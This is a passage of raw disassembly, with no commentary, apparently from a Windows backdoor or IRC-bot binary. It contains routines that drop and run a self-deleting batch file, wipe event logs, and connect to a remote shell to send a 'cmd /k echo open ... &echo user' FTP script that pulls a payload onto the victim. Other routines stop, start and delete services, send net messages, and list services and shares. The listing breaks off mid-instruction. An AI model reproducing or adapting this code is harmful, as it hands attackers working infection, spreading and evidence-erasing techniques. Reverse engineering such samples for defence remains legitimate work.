; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A34 proc near ; CODE XREF: sub_401B66+26C3p ; sub_416975+45Fp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42A08C, esi push edi jz short loc_418A58 cmp dword_4CDD30, esi jnz short loc_418A58 push esi call sub_401000 pop ecx loc_418A58: ; CODE XREF: sub_418A34+13j ; sub_418A34+1Bj call sub_40B150 lea eax, [ebp+var_764] push eax push 400h call dword_4280B0 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41C056 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_4280EC ; CreateFileA mov edi, eax cmp edi, esi jbe loc_418BB8 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41C056 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call dword_4280E0 ; WriteFile push edi call dword_42806C ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BD60 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41BD60 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43FE14 mov [ebp+var_2C], 1 mov [ebp+var_28], si call dword_42809C ; GetModuleHandleA push eax call dword_428074 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call dword_428098 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_418B60 lea eax, [ebp+var_15C] push 80h push eax call dword_428094 ; SetFileAttributesA loc_418B60: ; CODE XREF: sub_418A34+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41C056 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call dword_42817C ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call dword_428070 ; CreateProcessA loc_418BB8: ; CODE XREF: sub_418A34+72j pop edi pop esi leave retn sub_418A34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBC proc near ; CODE XREF: sub_401B66+70E0p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4280C8 ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_418C52 push [ebp+arg_10] push [ebp+arg_C] call dword_4CDBE4 ; OpenEventLogA push edi push eax call dword_4CDBF4 ; ClearEventLogA test eax, eax jz short loc_418C44 push [ebp+arg_10] push offset dword_43B658 loc_418C1D: ; CODE XREF: sub_418BBC+94j lea eax, [ebp+var_294] push eax call sub_41C056 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 20h jmp short loc_418C7C ; --------------------------------------------------------------------------- loc_418C44: ; CODE XREF: sub_418BBC+57j call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_43B630 jmp short loc_418C1D ; --------------------------------------------------------------------------- loc_418C52: ; CODE XREF: sub_418BBC+3Fj lea eax, [ebp+var_294] push offset unk_43B600 push eax call sub_41C056 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 1Ch loc_418C7C: ; CODE XREF: sub_418BBC+86j pop edi leave retn sub_418BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C7F proc near ; CODE XREF: sub_40D86F+4F9p ; sub_40DE14+480p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4CDCA4 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_4CDC64 ; ntohs push ebx push 1 push 2 mov [ebp+var_E], ax call dword_4CDCE4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_418D4A lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CDC0C ; connect cmp eax, 0FFFFFFFFh jz short loc_418D4A mov esi, 400h push ebx lea eax, [ebp+var_5A0] push esi push eax push edi call dword_4CDC7C ; recv mov eax, offset byte_42A10C push eax push eax push dword_4CD998 push [ebp+arg_0] call sub_40AB14 pop ecx push eax push offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C150 add esp, 1Ch lea eax, [ebp+var_1A0] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push edi call dword_4CDCB4 ; send cmp eax, 0FFFFFFFFh jnz short loc_418D4E loc_418D4A: ; CODE XREF: sub_418C7F+50j ; sub_418C7F+62j xor al, al jmp short loc_418D67 ; --------------------------------------------------------------------------- loc_418D4E: ; CODE XREF: sub_418C7F+C9j push ebx lea eax, [ebp+var_5A0] push esi push eax push edi call dword_4CDC7C ; recv push edi call dword_4CDCFC ; closesocket mov al, 1 loc_418D67: ; CODE XREF: sub_418C7F+CDj pop edi pop esi pop ebx leave retn sub_418C7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D6C proc near ; CODE XREF: sub_401B66+5547p var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4280C8 ; GetVersionExA cmp [ebp+var_90], 4 jnz short loc_418DB1 cmp [ebp+var_8C], 0 jnz loc_418E3B xor eax, eax inc eax cmp [ebp+var_84], eax jz locret_418E39 loc_418DB1: ; CODE XREF: sub_418D6C+27j ; sub_418D6C+DFj push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call dword_4280B8 ; LoadLibraryA mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call dword_4280BC ; GetProcAddress push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41E034 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41E034 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41E034 lea eax, [ebp+var_F8] push eax call sub_41E017 add eax, eax push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi ; GetProcessHeap add esp, 3Ch mov edi, eax push esi call dword_42813C ; FreeLibrary mov eax, edi pop edi pop esi locret_418E39: ; CODE XREF: sub_418D6C+3Fj leave retn ; --------------------------------------------------------------------------- loc_418E3B: ; CODE XREF: sub_418D6C+30j cmp [ebp+var_8C], 0Ah jz short loc_418E51 cmp [ebp+var_8C], 5Ah jnz loc_418DB1 loc_418E51: ; CODE XREF: sub_418D6C+D6j xor eax, eax inc eax leave retn sub_418D6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E56 proc near ; CODE XREF: sub_401132+F7p ; sub_40123B+Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 pop ecx call sub_41C0B2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_428700 call sub_41CF68 sub esi, eax mov eax, esi pop esi leave retn sub_418E56 endp ; =============== S U B R O U T I N E ======================================= sub_418E93 proc near ; CODE XREF: sub_401B66:loc_405FF7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418EF8 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_43B680[esi] push edi push eax call sub_418F1A add esp, 14h test eax, eax jnz short loc_418EDB push edi push off_43B67C[esi] mov esi, offset dword_4DDDB0 push offset unk_43B790 push esi call sub_41C056 add esp, 10h jmp short loc_418F15 ; --------------------------------------------------------------------------- loc_418EDB: ; CODE XREF: sub_418E93+2Aj push eax call sub_418FBC push eax push edi mov esi, offset dword_4DDDB0 push offset unk_43B764 push esi call sub_41C056 add esp, 14h jmp short loc_418F15 ; --------------------------------------------------------------------------- loc_418EF8: ; CODE XREF: sub_418E93+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DDDB0 push off_43B678[eax*4] push offset unk_43B740 push esi call sub_41C056 add esp, 0Ch loc_418F15: ; CODE XREF: sub_418E93+46j ; sub_418E93+63j mov eax, esi pop edi pop esi retn sub_418E93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F1A proc near ; CODE XREF: sub_418E93+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CDC58 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_418F41 call dword_42808C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_418FB6 ; --------------------------------------------------------------------------- loc_418F41: ; CODE XREF: sub_418F1A+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CDB40 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_418F61 call dword_42808C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_418FAE ; --------------------------------------------------------------------------- loc_418F61: ; CODE XREF: sub_418F1A+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_418F94 cmp eax, 3 jz short loc_418F85 jle short loc_418FA7 cmp eax, 6 jg short loc_418FA7 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CDBAC ; ControlService jmp short loc_418F9B ; --------------------------------------------------------------------------- loc_418F85: ; CODE XREF: sub_418F1A+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CDB48 ; StartServiceA jmp short loc_418F9B ; --------------------------------------------------------------------------- loc_418F94: ; CODE XREF: sub_418F1A+4Dj push esi call dword_4CDBB0 ; DeleteService loc_418F9B: ; CODE XREF: sub_418F1A+69j ; sub_418F1A+78j test eax, eax jnz short loc_418FA7 call dword_42808C ; RtlGetLastWin32Error mov ebx, eax loc_418FA7: ; CODE XREF: sub_418F1A+54j ; sub_418F1A+59j ... push esi call dword_4CDB5C ; CloseServiceHandle loc_418FAE: ; CODE XREF: sub_418F1A+45j push edi call dword_4CDB5C ; CloseServiceHandle pop esi loc_418FB6: ; CODE XREF: sub_418F1A+25j mov eax, ebx pop edi pop ebx leave retn sub_418F1A endp ; =============== S U B R O U T I N E ======================================= sub_418FBC proc near ; CODE XREF: sub_418E93+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_419071 jz loc_41906A add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_419034 jz short loc_41902A mov ecx, eax sub ecx, 3 jz short loc_419020 dec ecx dec ecx jz short loc_419016 dec ecx jz short loc_41900C sub ecx, 51h jz short loc_419002 sub ecx, 24h jnz loc_4190E7 ; default ; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4190D9 ; --------------------------------------------------------------------------- loc_419002: ; CODE XREF: sub_418FBC+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4190D9 ; --------------------------------------------------------------------------- loc_41900C: ; CODE XREF: sub_418FBC+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4190D9 ; --------------------------------------------------------------------------- loc_419016: ; CODE XREF: sub_418FBC+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4190D9 ; --------------------------------------------------------------------------- loc_419020: ; CODE XREF: sub_418FBC+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4190D9 ; --------------------------------------------------------------------------- loc_41902A: ; CODE XREF: sub_418FBC+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4190D9 ; --------------------------------------------------------------------------- loc_419034: ; CODE XREF: sub_418FBC+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_419063 dec ecx jz short loc_41905C dec ecx jz short loc_419055 dec ecx jnz loc_4190E7 ; default ; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4190D9 ; --------------------------------------------------------------------------- loc_419055: ; CODE XREF: sub_418FBC+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4190D9 ; --------------------------------------------------------------------------- loc_41905C: ; CODE XREF: sub_418FBC+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4190D9 ; --------------------------------------------------------------------------- loc_419063: ; CODE XREF: sub_418FBC+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4190D9 ; --------------------------------------------------------------------------- loc_41906A: ; CODE XREF: sub_418FBC+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4190D9 ; --------------------------------------------------------------------------- loc_419071: ; CODE XREF: sub_418FBC+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_4190E7 ; default ; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16 jz short loc_4190D4 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_4190E7 ; default ; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_419128[ecx] jmp off_419100[ecx*4] ; switch jump loc_419095: ; DATA XREF: .packed:off_419100o push offset aTheSpecifiedDa ; jumptable 0041908E case 7 jmp short loc_4190D9 ; --------------------------------------------------------------------------- loc_41909C: ; CODE XREF: sub_418FBC+D2j ; DATA XREF: .packed:off_419100o push offset aTheServiceDepe ; jumptable 0041908E case 17 jmp short loc_4190D9 ; --------------------------------------------------------------------------- loc_4190A3: ; CODE XREF: sub_418FBC+D2j ; DATA XREF: .packed:off_419100o push offset aTheServiceDe_0 ; jumptable 0041908E case 10 jmp short loc_4190D9 ; --------------------------------------------------------------------------- loc_4190AA: ; CODE XREF: sub_418FBC+D2j ; DATA XREF: .packed:off_419100o push offset aTheServiceHasB ; jumptable 0041908E case 0 jmp short loc_4190D9 ; --------------------------------------------------------------------------- loc_4190B1: ; CODE XREF: sub_418FBC+D2j ; DATA XREF: .packed:off_419100o push offset aTheSpecified_0 ; jumptable 0041908E case 2 jmp short loc_4190D9 ; --------------------------------------------------------------------------- loc_4190B8: ; CODE XREF: sub_418FBC+D2j ; DATA XREF: .packed:off_419100o push offset aTheServiceCoul ; jumptable 0041908E case 11 jmp short loc_4190D9 ; --------------------------------------------------------------------------- loc_4190BF: ; CODE XREF: sub_418FBC+D2j ; DATA XREF: .packed:off_419100o push offset aTheServiceHa_0 ; jumptable 0041908E case 14 jmp short loc_4190D9 ; --------------------------------------------------------------------------- loc_4190C6: ; CODE XREF: sub_418FBC+D2j ; DATA XREF: .packed:off_419100o push offset aTheRequested_1 ; jumptable 0041908E case 3 jmp short loc_4190D9 ; --------------------------------------------------------------------------- loc_4190CD: ; CODE XREF: sub_418FBC+D2j ; DATA XREF: .packed:off_419100o push offset aTheServiceHasN ; jumptable 0041908E case 4 jmp short loc_4190D9 ; --------------------------------------------------------------------------- loc_4190D4: ; CODE XREF: sub_418FBC+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4190D9: ; CODE XREF: sub_418FBC+41j ; sub_418FBC+4Bj ... push offset dword_4DD6E0 call sub_41C056 pop ecx pop ecx jmp short loc_4190FA ; --------------------------------------------------------------------------- loc_4190E7: ; CODE XREF: sub_418FBC+36j ; sub_418FBC+89j ... push eax ; default ; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DD6E0 call sub_41C056 add esp, 0Ch loc_4190FA: ; CODE XREF: sub_418FBC+129j mov eax, offset dword_4DD6E0 retn sub_418FBC endp ; --------------------------------------------------------------------------- off_419100 dd offset loc_4190AA ; DATA XREF: sub_418FBC+D2r dd offset loc_4190B1 ; jump table for switch statement dd offset loc_4190C6 dd offset loc_4190CD dd offset loc_419095 dd offset loc_4190A3 dd offset loc_4190B8 dd offset loc_4190BF dd offset loc_41909C dd offset loc_4190E7 byte_419128 db 0, 9, 1, 2 ; DATA XREF: sub_418FBC+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41913A proc near ; CODE XREF: sub_401B66+44BCp var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CDC58 ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h loc_419172: ; CODE XREF: sub_41913A+123j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CDC24 ; EnumServicesStatusA test eax, eax jnz short loc_4191AC call dword_42808C ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_419263 loc_4191AC: ; CODE XREF: sub_41913A+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_41925A lea esi, [ebp+var_188] loc_4191BD: ; CODE XREF: sub_41913A+11Aj mov eax, [esi+8] dec eax jz short loc_419209 dec eax jz short loc_419202 dec eax jz short loc_4191FB dec eax jz short loc_4191F4 dec eax jz short loc_4191ED dec eax jz short loc_4191E6 dec eax lea eax, [ebp+var_20] jz short loc_4191DF push offset aUnknown_0 ; " Unknown" jmp short loc_419211 ; --------------------------------------------------------------------------- loc_4191DF: ; CODE XREF: sub_41913A+9Cj push offset aPaused_0 ; " Paused" jmp short loc_419211 ; --------------------------------------------------------------------------- loc_4191E6: ; CODE XREF: sub_41913A+96j push offset aPausing ; " Pausing" jmp short loc_41920E ; --------------------------------------------------------------------------- loc_4191ED: ; CODE XREF: sub_41913A+93j push offset aContinuing ; " Continuing" jmp short loc_41920E ; --------------------------------------------------------------------------- loc_4191F4: ; CODE XREF: sub_41913A+90j push offset aRunning ; " Running" jmp short loc_41920E ; --------------------------------------------------------------------------- loc_4191FB: ; CODE XREF: sub_41913A+8Dj push offset aStoping ; " Stoping" jmp short loc_41920E ; --------------------------------------------------------------------------- loc_419202: ; CODE XREF: sub_41913A+8Aj push offset aStarting ; " Starting" jmp short loc_41920E ; --------------------------------------------------------------------------- loc_419209: ; CODE XREF: sub_41913A+87j push offset aStopped ; " Stopped" loc_41920E: ; CODE XREF: sub_41913A+B1j ; sub_41913A+B8j ... lea eax, [ebp+var_20] loc_419211: ; CODE XREF: sub_41913A+A3j ; sub_41913A+AAj push eax call sub_41C056 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41C056 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4191BD loc_41925A: ; CODE XREF: sub_41913A+77j cmp [ebp+var_8], ebx jnz loc_419172 loc_419263: ; CODE XREF: sub_41913A+6Cj push [ebp+var_C] call dword_4CDB5C ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41913A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41927A proc near ; CODE XREF: sub_401B66:loc_4060E7p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_419313 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_4192A3 dec eax jnz short loc_4192F3 push edi push 0 call sub_41944C pop ecx pop ecx jmp short loc_4192EF ; --------------------------------------------------------------------------- loc_4192A3: ; CODE XREF: sub_41927A+18j cmp [ebp+arg_8], 0 jnz short loc_4192E1 push 24h push edi call sub_41C780 pop ecx test eax, eax pop ecx jnz short loc_4192E1 push 57h pop eax loc_4192BA: ; CODE XREF: sub_41927A+77j push eax call sub_419C1A push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DD9A8 push off_43B678[eax*4] push offset unk_43BD34 push esi call sub_41C056 add esp, 18h jmp short loc_419333 ; --------------------------------------------------------------------------- loc_4192E1: ; CODE XREF: sub_41927A+2Dj ; sub_41927A+3Bj push [ebp+arg_8] push edi push 0 call sub_4193A0 add esp, 0Ch loc_4192EF: ; CODE XREF: sub_41927A+27j test eax, eax jnz short loc_4192BA loc_4192F3: ; CODE XREF: sub_41927A+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DD9A8 push off_43B67C[eax*4] push offset dword_43BD18 push esi call sub_41C056 add esp, 10h jmp short loc_419333 ; --------------------------------------------------------------------------- loc_419313: ; CODE XREF: sub_41927A+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DD9A8 lea eax, [eax+eax*2] push off_43B678[eax*4] push offset unk_43BCF4 push esi call sub_41C056 add esp, 0Ch loc_419333: ; CODE XREF: sub_41927A+65j ; sub_41927A+97j mov eax, esi pop edi pop esi pop ebp retn sub_41927A endp ; =============== S U B R O U T I N E ======================================= sub_419339 proc near ; CODE XREF: sub_41A628+247p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_419346 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_419346: ; CODE XREF: sub_419339+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_428180 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_4DDBA8, 1 mov ebp, eax jnz short loc_419383 or byte_4DDBA8, 1 lea eax, [ebp+1] push eax call sub_41D795 pop ecx mov dword_4DD940, eax loc_419383: ; CODE XREF: sub_419339+32j push esi push esi push ebp push dword_4DD940 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_4DD940 pop edi pop ebp pop ebx pop esi retn sub_419339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193A0 proc near ; CODE XREF: sub_41927A+6Dp ; sub_41A94E+18Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_41940B push [ebp+arg_4] mov edi, eax call sub_41940B push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C780 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_41940B add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CDB58 pop edi leave retn sub_4193A0 endp ; =============== S U B R O U T I N E ======================================= sub_41940B proc near ; CODE XREF: sub_4193A0+Ap ; sub_4193A0+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419418 pop ebp retn ; --------------------------------------------------------------------------- loc_419418: ; CODE XREF: sub_41940B+9j push ebx push esi mov esi, dword_428184 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D795 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_41940B endp ; =============== S U B R O U T I N E ======================================= sub_41944C proc near ; CODE XREF: sub_41927A+20p ; sub_41A628+1BCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41940B push [esp+8+arg_4] mov esi, eax call sub_41940B pop ecx pop ecx push 0 push eax push esi call dword_4CDB30 pop esi retn sub_41944C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41946F proc near ; CODE XREF: sub_401B66+45ADp var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_41940B xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 18h loc_4194A8: ; CODE XREF: sub_41946F+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CDBA8 mov ebx, eax cmp ebx, esi jz short loc_41950B cmp ebx, 0EAh jz short loc_41950B push ebx push ebx call sub_419C1A pop ecx push eax lea eax, [ebp+var_210] push offset unk_43BD80 push eax call sub_41C056 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 24h jmp short loc_419578 ; --------------------------------------------------------------------------- loc_41950B: ; CODE XREF: sub_41946F+5Dj ; sub_41946F+65j xor edi, edi inc edi cmp [ebp+arg_C], edi jb short loc_41956F mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419519: ; CODE XREF: sub_41946F+FCj push dword ptr [esi+10h] call dword_4CDB4C ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_419530 mov eax, offset aNo ; "No" loc_419530: ; CODE XREF: sub_41946F+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41C056 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419519 xor esi, esi loc_41956F: ; CODE XREF: sub_41946F+A2j push [ebp+var_4] call dword_4CDCF4 loc_419578: ; CODE XREF: sub_41946F+9Aj cmp ebx, 0EAh jz loc_4194A8 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_41946F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419590 proc near ; CODE XREF: sub_401B66:loc_40617Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_419634 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_4195D2 dec eax jz short loc_4195C7 dec eax jnz short loc_4195ED push [ebp+arg_14] push 